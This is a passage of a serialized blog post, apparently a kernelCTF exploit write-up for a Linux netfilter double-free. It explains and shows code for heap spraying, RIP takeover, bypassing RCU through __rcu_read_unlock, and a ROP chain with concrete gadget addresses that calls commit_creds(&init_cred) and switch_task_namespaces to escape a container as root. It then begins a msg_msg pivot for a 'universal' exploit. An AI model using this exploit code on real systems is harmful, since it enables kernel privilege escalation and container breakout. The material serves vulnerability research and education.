0",{"type":23,"tag":75,"props":67565,"children":67566},{"style":104},[67567],{"type":29,"value":30499},{"type":23,"tag":75,"props":67569,"children":67570},{"style":94},[67571],{"type":29,"value":67572},"%",{"type":23,"tag":75,"props":67574,"children":67575},{"style":104},[67576],{"type":29,"value":67577},"lx",{"type":23,"tag":75,"props":67579,"children":67580},{"style":94},[67581],{"type":29,"value":67582},"\\",{"type":23,"tag":75,"props":67584,"children":67585},{"style":104},[67586],{"type":29,"value":67587},"n",{"type":23,"tag":75,"props":67589,"children":67590},{"style":1266},[67591],{"type":29,"value":67592},"\", rop_addr);\n",{"type":23,"tag":75,"props":67594,"children":67595},{"class":77,"line":363},[67596],{"type":23,"tag":75,"props":67597,"children":67598},{"emptyLinePlaceholder":15},[67599],{"type":29,"value":276},{"type":23,"tag":75,"props":67601,"children":67602},{"class":77,"line":656},[67603],{"type":23,"tag":75,"props":67604,"children":67605},{"style":1266},[67606],{"type":29,"value":67607},"    // Point to fake ops\n",{"type":23,"tag":75,"props":67609,"children":67610},{"class":77,"line":705},[67611],{"type":23,"tag":75,"props":67612,"children":67613},{"style":1266},[67614],{"type":29,"value":67615},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":75,"props":67617,"children":67618},{"class":77,"line":787},[67619],{"type":23,"tag":75,"props":67620,"children":67621},{"style":1266},[67622],{"type":29,"value":21566},{"type":23,"tag":75,"props":67624,"children":67625},{"class":77,"line":826},[67626],{"type":23,"tag":75,"props":67627,"children":67628},{"style":1266},[67629],{"type":29,"value":67630},"    // Write ROP\n",{"type":23,"tag":75,"props":67632,"children":67633},{"class":77,"line":834},[67634,67639,67643,67647,67651,67656,67661],{"type":23,"tag":75,"props":67635,"children":67636},{"style":1266},[67637],{"type":29,"value":67638},"    puts(\"",{"type":23,"tag":75,"props":67640,"children":67641},{"style":94},[67642],{"type":29,"value":814},{"type":23,"tag":75,"props":67644,"children":67645},{"style":209},[67646],{"type":29,"value":601},{"type":23,"tag":75,"props":67648,"children":67649},{"style":94},[67650],{"type":29,"value":13463},{"type":23,"tag":75,"props":67652,"children":67653},{"style":104},[67654],{"type":29,"value":67655},"Write",{"type":23,"tag":75,"props":67657,"children":67658},{"style":104},[67659],{"type":29,"value":67660}," ROP",{"type":23,"tag":75,"props":67662,"children":67663},{"style":1266},[67664],{"type":29,"value":67475},{"type":23,"tag":75,"props":67666,"children":67667},{"class":77,"line":881},[67668],{"type":23,"tag":75,"props":67669,"children":67670},{"style":1266},[67671],{"type":29,"value":67672},"    deludata_spray(nl, 3, 1);\n",{"type":23,"tag":75,"props":67674,"children":67675},{"class":77,"line":3355},[67676],{"type":23,"tag":75,"props":67677,"children":67678},{"style":1266},[67679],{"type":29,"value":67483},{"type":23,"tag":75,"props":67681,"children":67682},{"class":77,"line":3390},[67683],{"type":23,"tag":75,"props":67684,"children":67685},{"style":1266},[67686],{"type":29,"value":67687},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":75,"props":67689,"children":67690},{"class":77,"line":3423},[67691],{"type":23,"tag":75,"props":67692,"children":67693},{"emptyLinePlaceholder":15},[67694],{"type":29,"value":276},{"type":23,"tag":75,"props":67696,"children":67697},{"class":77,"line":3436},[67698],{"type":23,"tag":75,"props":67699,"children":67700},{"style":1266},[67701],{"type":29,"value":67702},"    // Takeover RIP\n",{"type":23,"tag":75,"props":67704,"children":67705},{"class":77,"line":3449},[67706,67710,67714,67718,67722,67727,67732],{"type":23,"tag":75,"props":67707,"children":67708},{"style":1266},[67709],{"type":29,"value":67638},{"type":23,"tag":75,"props":67711,"children":67712},{"style":94},[67713],{"type":29,"value":814},{"type":23,"tag":75,"props":67715,"children":67716},{"style":209},[67717],{"type":29,"value":601},{"type":23,"tag":75,"props":67719,"children":67720},{"style":94},[67721],{"type":29,"value":13463},{"type":23,"tag":75,"props":67723,"children":67724},{"style":104},[67725],{"type":29,"value":67726},"Takeover",{"type":23,"tag":75,"props":67728,"children":67729},{"style":104},[67730],{"type":29,"value":67731}," RIP",{"type":23,"tag":75,"props":67733,"children":67734},{"style":1266},[67735],{"type":29,"value":67475},{"type":23,"tag":75,"props":67737,"children":67738},{"class":77,"line":3457},[67739,67744,67748,67753],{"type":23,"tag":75,"props":67740,"children":67741},{"style":1266},[67742],{"type":29,"value":67743},"    dump_obj(nl, \"",{"type":23,"tag":75,"props":67745,"children":67746},{"style":82},[67747],{"type":29,"value":67465},{"type":23,"tag":75,"props":67749,"children":67750},{"style":94},[67751],{"type":29,"value":67752},"-1",{"type":23,"tag":75,"props":67754,"children":67755},{"style":1266},[67756],{"type":29,"value":67475},{"type":23,"tag":75,"props":67758,"children":67759},{"class":77,"line":3465},[67760],{"type":23,"tag":75,"props":67761,"children":67762},{"style":1266},[67763],{"type":29,"value":21566},{"type":23,"tag":923,"props":67765,"children":67767},{"id":67766},"bypass-context-switch-in-rcu-critical-section",[67768],{"type":29,"value":67769},"Bypass context switch in RCU critical-section",{"type":23,"tag":32,"props":67771,"children":67772},{},[67773,67774,67779],{"type":29,"value":2846},{"type":23,"tag":71,"props":67775,"children":67777},{"className":67776},[],[67778],{"type":29,"value":66298},{"type":29,"value":67780}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":32,"props":67782,"children":67783},{},[67784,67786,67793,67795,67801,67803,67809],{"type":29,"value":67785},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":940,"props":67787,"children":67790},{"href":67788,"rel":67789},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[944],[67791],{"type":29,"value":67792},"previous kernelCTF submission",{"type":29,"value":67794}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":71,"props":67796,"children":67798},{"className":67797},[],[67799],{"type":29,"value":67800},"task_struct",{"type":29,"value":67802}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":71,"props":67804,"children":67806},{"className":67805},[],[67807],{"type":29,"value":67808},"__rcu_read_unlock()",{"type":29,"value":67810}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":64,"props":67812,"children":67814},{"className":40306,"code":67813,"language":40308,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[67815],{"type":23,"tag":71,"props":67816,"children":67817},{"__ignoreMap":7},[67818,67826,67850,67857],{"type":23,"tag":75,"props":67819,"children":67820},{"class":77,"line":78},[67821],{"type":23,"tag":75,"props":67822,"children":67823},{"style":3621},[67824],{"type":29,"value":67825},"    // ROP stage 1\n",{"type":23,"tag":75,"props":67827,"children":67828},{"class":77,"line":100},[67829,67833,67838,67842,67846],{"type":23,"tag":75,"props":67830,"children":67831},{"style":82},[67832],{"type":29,"value":30300},{"type":23,"tag":75,"props":67834,"children":67835},{"style":94},[67836],{"type":29,"value":67837}," pos ",{"type":23,"tag":75,"props":67839,"children":67840},{"style":209},[67841],{"type":29,"value":212},{"type":23,"tag":75,"props":67843,"children":67844},{"style":237},[67845],{"type":29,"value":30322},{"type":23,"tag":75,"props":67847,"children":67848},{"style":94},[67849],{"type":29,"value":245},{"type":23,"tag":75,"props":67851,"children":67852},{"class":77,"line":121},[67853],{"type":23,"tag":75,"props":67854,"children":67855},{"emptyLinePlaceholder":15},[67856],{"type":29,"value":276},{"type":23,"tag":75,"props":67858,"children":67859},{"class":77,"line":138},[67860,67864,67869,67873,67877,67881,67885,67889],{"type":23,"tag":75,"props":67861,"children":67862},{"style":110},[67863],{"type":29,"value":67353},{"type":23,"tag":75,"props":67865,"children":67866},{"style":94},[67867],{"type":29,"value":67868},"[pos",{"type":23,"tag":75,"props":67870,"children":67871},{"style":209},[67872],{"type":29,"value":62454},{"type":23,"tag":75,"props":67874,"children":67875},{"style":94},[67876],{"type":29,"value":13463},{"type":23,"tag":75,"props":67878,"children":67879},{"style":209},[67880],{"type":29,"value":212},{"type":23,"tag":75,"props":67882,"children":67883},{"style":94},[67884],{"type":29,"value":67374},{"type":23,"tag":75,"props":67886,"children":67887},{"style":209},[67888],{"type":29,"value":7862},{"type":23,"tag":75,"props":67890,"children":67891},{"style":94},[67892],{"type":29,"value":67893}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":923,"props":67895,"children":67897},{"id":67896},"rop",[67898],{"type":29,"value":67553},{"type":23,"tag":32,"props":67900,"children":67901},{},[67902],{"type":29,"value":67903},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":27910,"props":67905,"children":67906},{},[67907,67918,67929],{"type":23,"tag":2801,"props":67908,"children":67909},{},[67910,67916],{"type":23,"tag":71,"props":67911,"children":67913},{"className":67912},[],[67914],{"type":29,"value":67915},"commit_creds(&init_cred);",{"type":29,"value":67917}," Commit root credentials to our process",{"type":23,"tag":2801,"props":67919,"children":67920},{},[67921,67927],{"type":23,"tag":71,"props":67922,"children":67924},{"className":67923},[],[67925],{"type":29,"value":67926},"task = find_task_by_vpid(1);",{"type":29,"value":67928}," Find the root process of our namespace",{"type":23,"tag":2801,"props":67930,"children":67931},{},[67932,67938],{"type":23,"tag":71,"props":67933,"children":67935},{"className":67934},[],[67936],{"type":29,"value":67937},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":67939}," Move it to the root namespace",{"type":23,"tag":32,"props":67941,"children":67942},{},[67943,67945,67951,67953,67959,67961,67967,67969,67975,67977,67982,67984,67990],{"type":29,"value":67944},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":71,"props":67946,"children":67948},{"className":67947},[],[67949],{"type":29,"value":67950},"find_task_by_vpid(1)",{"type":29,"value":67952}," passed through ",{"type":23,"tag":71,"props":67954,"children":67956},{"className":67955},[],[67957],{"type":29,"value":67958},"rax",{"type":29,"value":67960}," to ",{"type":23,"tag":71,"props":67962,"children":67964},{"className":67963},[],[67965],{"type":29,"value":67966},"rdi",{"type":29,"value":67968},". What I ended up going with was a ",{"type":23,"tag":71,"props":67970,"children":67972},{"className":67971},[],[67973],{"type":29,"value":67974},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":67976}," gadget, that allowed me to push the ",{"type":23,"tag":71,"props":67978,"children":67980},{"className":67979},[],[67981],{"type":29,"value":67958},{"type":29,"value":67983}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":71,"props":67985,"children":67987},{"className":67986},[],[67988],{"type":29,"value":67989},"pop rdi; ret",{"type":29,"value":67991}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":27910,"props":67993,"children":67994},{},[67995,68000,68013],{"type":23,"tag":2801,"props":67996,"children":67997},{},[67998],{"type":29,"value":67999},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":2801,"props":68001,"children":68002},{},[68003,68005,68011],{"type":29,"value":68004},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":71,"props":68006,"children":68008},{"className":68007},[],[68009],{"type":29,"value":68010},"pop rdi; ret;",{"type":29,"value":68012}," location)",{"type":23,"tag":2801,"props":68014,"children":68015},{},[68016,68021],{"type":23,"tag":71,"props":68017,"children":68019},{"className":68018},[],[68020],{"type":29,"value":67989},{"type":29,"value":68022}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":64,"props":68024,"children":68026},{"className":40306,"code":68025,"language":40308,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[68027],{"type":23,"tag":71,"props":68028,"children":68029},{"__ignoreMap":7},[68030,68037,68054,68099,68135,68171,68178,68186,68229,68260,68296,68341,68396,68441,68448,68456,68499,68535,68571],{"type":23,"tag":75,"props":68031,"children":68032},{"class":77,"line":78},[68033],{"type":23,"tag":75,"props":68034,"children":68035},{"style":94},[68036],{"type":29,"value":21566},{"type":23,"tag":75,"props":68038,"children":68039},{"class":77,"line":100},[68040,68045,68050],{"type":23,"tag":75,"props":68041,"children":68042},{"style":94},[68043],{"type":29,"value":68044},"    // commit_creds(&",{"type":23,"tag":75,"props":68046,"children":68047},{"style":110},[68048],{"type":29,"value":68049},"init_cred",{"type":23,"tag":75,"props":68051,"children":68052},{"style":94},[68053],{"type":29,"value":15099},{"type":23,"tag":75,"props":68055,"children":68056},{"class":77,"line":121},[68057,68061,68065,68069,68073,68077,68081,68085,68090,68094],{"type":23,"tag":75,"props":68058,"children":68059},{"style":110},[68060],{"type":29,"value":67353},{"type":23,"tag":75,"props":68062,"children":68063},{"style":94},[68064],{"type":29,"value":67868},{"type":23,"tag":75,"props":68066,"children":68067},{"style":209},[68068],{"type":29,"value":62454},{"type":23,"tag":75,"props":68070,"children":68071},{"style":94},[68072],{"type":29,"value":13463},{"type":23,"tag":75,"props":68074,"children":68075},{"style":209},[68076],{"type":29,"value":212},{"type":23,"tag":75,"props":68078,"children":68079},{"style":94},[68080],{"type":29,"value":67374},{"type":23,"tag":75,"props":68082,"children":68083},{"style":209},[68084],{"type":29,"value":7862},{"type":23,"tag":75,"props":68086,"children":68087},{"style":237},[68088],{"type":29,"value":68089}," 0xffffffff8112c7c0",{"type":23,"tag":75,"props":68091,"children":68092},{"style":94},[68093],{"type":29,"value":60260},{"type":23,"tag":75,"props":68095,"children":68096},{"style":3621},[68097],{"type":29,"value":68098}," // pop rdi; ret;\n",{"type":23,"tag":75,"props":68100,"children":68101},{"class":77,"line":138},[68102,68106,68110,68114,68118,68122,68126,68130],{"type":23,"tag":75,"props":68103,"children":68104},{"style":110},[68105],{"type":29,"value":67353},{"type":23,"tag":75,"props":68107,"children":68108},{"style":94},[68109],{"type":29,"value":67868},{"type":23,"tag":75,"props":68111,"children":68112},{"style":209},[68113],{"type":29,"value":62454},{"type":23,"tag":75,"props":68115,"children":68116},{"style":94},[68117],{"type":29,"value":13463},{"type":23,"tag":75,"props":68119,"children":68120},{"style":209},[68121],{"type":29,"value":212},{"type":23,"tag":75,"props":68123,"children":68124},{"style":94},[68125],{"type":29,"value":67374},{"type":23,"tag":75,"props":68127,"children":68128},{"style":209},[68129],{"type":29,"value":7862},{"type":23,"tag":75,"props":68131,"children":68132},{"style":94},[68133],{"type":29,"value":68134}," INIT_CRED;\n",{"type":23,"tag":75,"props":68136,"children":68137},{"class":77,"line":161},[68138,68142,68146,68150,68154,68158,68162,68166],{"type":23,"tag":75,"props":68139,"children":68140},{"style":110},[68141],{"type":29,"value":67353},{"type":23,"tag":75,"props":68143,"children":68144},{"style":94},[68145],{"type":29,"value":67868},{"type":23,"tag":75,"props":68147,"children":68148},{"style":209},[68149],{"type":29,"value":62454},{"type":23,"tag":75,"props":68151,"children":68152},{"style":94},[68153],{"type":29,"value":13463},{"type":23,"tag":75,"props":68155,"children":68156},{"style":209},[68157],{"type":29,"value":212},{"type":23,"tag":75,"props":68159,"children":68160},{"style":94},[68161],{"type":29,"value":67374},{"type":23,"tag":75,"props":68163,"children":68164},{"style":209},[68165],{"type":29,"value":7862},{"type":23,"tag":75,"props":68167,"children":68168},{"style":94},[68169],{"type":29,"value":68170}," COMMIT_CREDS;\n",{"type":23,"tag":75,"props":68172,"children":68173},{"class":77,"line":196},[68174],{"type":23,"tag":75,"props":68175,"children":68176},{"emptyLinePlaceholder":15},[68177],{"type":29,"value":276},{"type":23,"tag":75,"props":68179,"children":68180},{"class":77,"line":220},[68181],{"type":23,"tag":75,"props":68182,"children":68183},{"style":3621},[68184],{"type":29,"value":68185},"    // task = find_task_by_vpid(1);\n",{"type":23,"tag":75,"props":68187,"children":68188},{"class":77,"line":248},[68189,68193,68197,68201,68205,68209,68213,68217,68221,68225],{"type":23,"tag":75,"props":68190,"children":68191},{"style":110},[68192],{"type":29,"value":67353},{"type":23,"tag":75,"props":68194,"children":68195},{"style":94},[68196],{"type":29,"value":67868},{"type":23,"tag":75,"props":68198,"children":68199},{"style":209},[68200],{"type":29,"value":62454},{"type":23,"tag":75,"props":68202,"children":68203},{"style":94},[68204],{"type":29,"value":13463},{"type":23,"tag":75,"props":68206,"children":68207},{"style":209},[68208],{"type":29,"value":212},{"type":23,"tag":75,"props":68210,"children":68211},{"style":94},[68212],{"type":29,"value":67374},{"type":23,"tag":75,"props":68214,"children":68215},{"style":209},[68216],{"type":29,"value":7862},{"type":23,"tag":75,"props":68218,"children":68219},{"style":237},[68220],{"type":29,"value":68089},{"type":23,"tag":75,"props":68222,"children":68223},{"style":94},[68224],{"type":29,"value":60260},{"type":23,"tag":75,"props":68226,"children":68227},{"style":3621},[68228],{"type":29,"value":68098},{"type":23,"tag":75,"props":68230,"children":68231},{"class":77,"line":270},[68232,68236,68240,68244,68248,68252,68256],{"type":23,"tag":75,"props":68233,"children":68234},{"style":110},[68235],{"type":29,"value":67353},{"type":23,"tag":75,"props":68237,"children":68238},{"style":94},[68239],{"type":29,"value":67868},{"type":23,"tag":75,"props":68241,"children":68242},{"style":209},[68243],{"type":29,"value":62454},{"type":23,"tag":75,"props":68245,"children":68246},{"style":94},[68247],{"type":29,"value":13463},{"type":23,"tag":75,"props":68249,"children":68250},{"style":209},[68251],{"type":29,"value":212},{"type":23,"tag":75,"props":68253,"children":68254},{"style":237},[68255],{"type":29,"value":15795},{"type":23,"tag":75,"props":68257,"children":68258},{"style":94},[68259],{"type":29,"value":245},{"type":23,"tag":75,"props":68261,"children":68262},{"class":77,"line":279},[68263,68267,68271,68275,68279,68283,68287,68291],{"type":23,"tag":75,"props":68264,"children":68265},{"style":110},[68266],{"type":29,"value":67353},{"type":23,"tag":75,"props":68268,"children":68269},{"style":94},[68270],{"type":29,"value":67868},{"type":23,"tag":75,"props":68272,"children":68273},{"style":209},[68274],{"type":29,"value":62454},{"type":23,"tag":75,"props":68276,"children":68277},{"style":94},[68278],{"type":29,"value":13463},{"type":23,"tag":75,"props":68280,"children":68281},{"style":209},[68282],{"type":29,"value":212},{"type":23,"tag":75,"props":68284,"children":68285},{"style":94},[68286],{"type":29,"value":67374},{"type":23,"tag":75,"props":68288,"children":68289},{"style":209},[68290],{"type":29,"value":7862},{"type":23,"tag":75,"props":68292,"children":68293},{"style":94},[68294],{"type":29,"value":68295}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":75,"props":68297,"children":68298},{"class":77,"line":303},[68299,68303,68307,68311,68315,68319,68323,68327,68332,68336],{"type":23,"tag":75,"props":68300,"children":68301},{"style":110},[68302],{"type":29,"value":67353},{"type":23,"tag":75,"props":68304,"children":68305},{"style":94},[68306],{"type":29,"value":67868},{"type":23,"tag":75,"props":68308,"children":68309},{"style":209},[68310],{"type":29,"value":62454},{"type":23,"tag":75,"props":68312,"children":68313},{"style":94},[68314],{"type":29,"value":13463},{"type":23,"tag":75,"props":68316,"children":68317},{"style":209},[68318],{"type":29,"value":212},{"type":23,"tag":75,"props":68320,"children":68321},{"style":94},[68322],{"type":29,"value":67374},{"type":23,"tag":75,"props":68324,"children":68325},{"style":209},[68326],{"type":29,"value":7862},{"type":23,"tag":75,"props":68328,"children":68329},{"style":237},[68330],{"type":29,"value":68331}," 0xffffffff8102e2a6",{"type":23,"tag":75,"props":68333,"children":68334},{"style":94},[68335],{"type":29,"value":60260},{"type":23,"tag":75,"props":68337,"children":68338},{"style":3621},[68339],{"type":29,"value":68340}," // pop rsi; ret;\n",{"type":23,"tag":75,"props":68342,"children":68343},{"class":77,"line":322},[68344,68348,68352,68356,68360,68364,68369,68373,68378,68382,68387,68391],{"type":23,"tag":75,"props":68345,"children":68346},{"style":110},[68347],{"type":29,"value":67353},{"type":23,"tag":75,"props":68349,"children":68350},{"style":94},[68351],{"type":29,"value":67868},{"type":23,"tag":75,"props":68353,"children":68354},{"style":209},[68355],{"type":29,"value":62454},{"type":23,"tag":75,"props":68357,"children":68358},{"style":94},[68359],{"type":29,"value":13463},{"type":23,"tag":75,"props":68361,"children":68362},{"style":209},[68363],{"type":29,"value":212},{"type":23,"tag":75,"props":68365,"children":68366},{"style":94},[68367],{"type":29,"value":68368}," obj_ptr ",{"type":23,"tag":75,"props":68370,"children":68371},{"style":209},[68372],{"type":29,"value":7862},{"type":23,"tag":75,"props":68374,"children":68375},{"style":237},[68376],{"type":29,"value":68377}," 0xe0",{"type":23,"tag":75,"props":68379,"children":68380},{"style":209},[68381],{"type":29,"value":62440},{"type":23,"tag":75,"props":68383,"children":68384},{"style":237},[68385],{"type":29,"value":68386}," 0x66",{"type":23,"tag":75,"props":68388,"children":68389},{"style":94},[68390],{"type":29,"value":60260},{"type":23,"tag":75,"props":68392,"children":68393},{"style":3621},[68394],{"type":29,"value":68395},"            // rax -> rdi and resume rop\n",{"type":23,"tag":75,"props":68397,"children":68398},{"class":77,"line":340},[68399,68403,68407,68411,68415,68419,68423,68427,68432,68436],{"type":23,"tag":75,"props":68400,"children":68401},{"style":110},[68402],{"type":29,"value":67353},{"type":23,"tag":75,"props":68404,"children":68405},{"style":94},[68406],{"type":29,"value":67868},{"type":23,"tag":75,"props":68408,"children":68409},{"style":209},[68410],{"type":29,"value":62454},{"type":23,"tag":75,"props":68412,"children":68413},{"style":94},[68414],{"type":29,"value":13463},{"type":23,"tag":75,"props":68416,"children":68417},{"style":209},[68418],{"type":29,"value":212},{"type":23,"tag":75,"props":68420,"children":68421},{"style":94},[68422],{"type":29,"value":67374},{"type":23,"tag":75,"props":68424,"children":68425},{"style":209},[68426],{"type":29,"value":7862},{"type":23,"tag":75,"props":68428,"children":68429},{"style":237},[68430],{"type":29,"value":68431}," 0xffffffff81caed31",{"type":23,"tag":75,"props":68433,"children":68434},{"style":94},[68435],{"type":29,"value":60260},{"type":23,"tag":75,"props":68437,"children":68438},{"style":3621},[68439],{"type":29,"value":68440}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":75,"props":68442,"children":68443},{"class":77,"line":349},[68444],{"type":23,"tag":75,"props":68445,"children":68446},{"emptyLinePlaceholder":15},[68447],{"type":29,"value":276},{"type":23,"tag":75,"props":68449,"children":68450},{"class":77,"line":363},[68451],{"type":23,"tag":75,"props":68452,"children":68453},{"style":3621},[68454],{"type":29,"value":68455},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":75,"props":68457,"children":68458},{"class":77,"line":656},[68459,68463,68467,68471,68475,68479,68483,68487,68491,68495],{"type":23,"tag":75,"props":68460,"children":68461},{"style":110},[68462],{"type":29,"value":67353},{"type":23,"tag":75,"props":68464,"children":68465},{"style":94},[68466],{"type":29,"value":67868},{"type":23,"tag":75,"props":68468,"children":68469},{"style":209},[68470],{"type":29,"value":62454},{"type":23,"tag":75,"props":68472,"children":68473},{"style":94},[68474],{"type":29,"value":13463},{"type":23,"tag":75,"props":68476,"children":68477},{"style":209},[68478],{"type":29,"value":212},{"type":23,"tag":75,"props":68480,"children":68481},{"style":94},[68482],{"type":29,"value":67374},{"type":23,"tag":75,"props":68484,"children":68485},{"style":209},[68486],{"type":29,"value":7862},{"type":23,"tag":75,"props":68488,"children":68489},{"style":237},[68490],{"type":29,"value":68331},{"type":23,"tag":75,"props":68492,"children":68493},{"style":94},[68494],{"type":29,"value":60260},{"type":23,"tag":75,"props":68496,"children":68497},{"style":3621},[68498],{"type":29,"value":68340},{"type":23,"tag":75,"props":68500,"children":68501},{"class":77,"line":705},[68502,68506,68510,68514,68518,68522,68526,68530],{"type":23,"tag":75,"props":68503,"children":68504},{"style":110},[68505],{"type":29,"value":67353},{"type":23,"tag":75,"props":68507,"children":68508},{"style":94},[68509],{"type":29,"value":67868},{"type":23,"tag":75,"props":68511,"children":68512},{"style":209},[68513],{"type":29,"value":62454},{"type":23,"tag":75,"props":68515,"children":68516},{"style":94},[68517],{"type":29,"value":13463},{"type":23,"tag":75,"props":68519,"children":68520},{"style":209},[68521],{"type":29,"value":212},{"type":23,"tag":75,"props":68523,"children":68524},{"style":94},[68525],{"type":29,"value":67374},{"type":23,"tag":75,"props":68527,"children":68528},{"style":209},[68529],{"type":29,"value":7862},{"type":23,"tag":75,"props":68531,"children":68532},{"style":94},[68533],{"type":29,"value":68534}," INIT_NSPROXY;\n",{"type":23,"tag":75,"props":68536,"children":68537},{"class":77,"line":787},[68538,68542,68546,68550,68554,68558,68562,68566],{"type":23,"tag":75,"props":68539,"children":68540},{"style":110},[68541],{"type":29,"value":67353},{"type":23,"tag":75,"props":68543,"children":68544},{"style":94},[68545],{"type":29,"value":67868},{"type":23,"tag":75,"props":68547,"children":68548},{"style":209},[68549],{"type":29,"value":62454},{"type":23,"tag":75,"props":68551,"children":68552},{"style":94},[68553],{"type":29,"value":13463},{"type":23,"tag":75,"props":68555,"children":68556},{"style":209},[68557],{"type":29,"value":212},{"type":23,"tag":75,"props":68559,"children":68560},{"style":94},[68561],{"type":29,"value":67374},{"type":23,"tag":75,"props":68563,"children":68564},{"style":209},[68565],{"type":29,"value":7862},{"type":23,"tag":75,"props":68567,"children":68568},{"style":94},[68569],{"type":29,"value":68570}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":75,"props":68572,"children":68573},{"class":77,"line":826},[68574],{"type":23,"tag":75,"props":68575,"children":68576},{"style":94},[68577],{"type":29,"value":21566},{"type":23,"tag":923,"props":68579,"children":68581},{"id":68580},"grabbing-the-kernelctf-flag",[68582],{"type":29,"value":68583},"Grabbing the kernelCTF flag",{"type":23,"tag":32,"props":68585,"children":68586},{},[68587,68591,68593,68600],{"type":23,"tag":15189,"props":68588,"children":68590},{"alt":61763,"src":68589},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":68592},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":940,"props":68594,"children":68597},{"href":68595,"rel":68596},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[944],[68598],{"type":29,"value":68599},"GitHub",{"type":29,"value":557},{"type":23,"tag":24,"props":68602,"children":68604},{"id":68603},"universal-exploit",[68605],{"type":29,"value":68606},"Universal exploit",{"type":23,"tag":32,"props":68608,"children":68609},{},[68610],{"type":29,"value":68611},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":923,"props":68613,"children":68615},{"id":68614},"pivot-capability-using-msg_msg-mlistnext-pointer",[68616],{"type":29,"value":68617},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":32,"props":68619,"children":68620},{},[68621,68623,68629,68631,68636,68638,68644],{"type":29,"value":68622},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":71,"props":68624,"children":68626},{"className":68625},[],[68627],{"type":29,"value":68628},"msg_msg",{"type":29,"value":68630}," object with with ",{"type":23,"tag":71,"props":68632,"children":68634},{"className":68633},[],[68635],{"type":29,"value":66283},{"type":29,"value":68637}," and control the ",{"type":23,"tag":71,"props":68639,"children":68641},{"className":68640},[],[68642],{"type":29,"value":68643},"m_list.next",{"type":29,"value":68645}," pointer.",{"type":23,"tag":64,"props":68647,"children":68649},{"className":40306,"code":68648,"language":40308,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[68650],{"type":23,"tag":71,"props":68651,"children":68652},{"__ignoreMap":7},[68653,68661,68677,68698,68711,68729,68754,68770,68778,68785,68792,68800,68832],{"type":23,"tag":75,"props":68654,"children":68655},{"class":77,"line":78},[68656],{"type":23,"tag":75,"props":68657,"children":68658},{"style":3621},[68659],{"type":29,"value":68660},"/* one msg_msg structure for each message */\n",{"type":23,"tag":75,"props":68662,"children":68663},{"class":77,"line":100},[68664,68668,68673],{"type":23,"tag":75,"props":68665,"children":68666},{"style":82},[68667],{"type":29,"value":20652},{"type":23,"tag":75,"props":68669,"children":68670},{"style":104},[68671],{"type":29,"value":68672}," msg_msg",{"type":23,"tag":75,"props":68674,"children":68675},{"style":94},[68676],{"type":29,"value":401},{"type":23,"tag":75,"props":68678,"children":68679},{"class":77,"line":121},[68680,68684,68689,68694],{"type":23,"tag":75,"props":68681,"children":68682},{"style":82},[68683],{"type":29,"value":396},{"type":23,"tag":75,"props":68685,"children":68686},{"style":104},[68687],{"type":29,"value":68688}," list_head",{"type":23,"tag":75,"props":68690,"children":68691},{"style":110},[68692],{"type":29,"value":68693}," 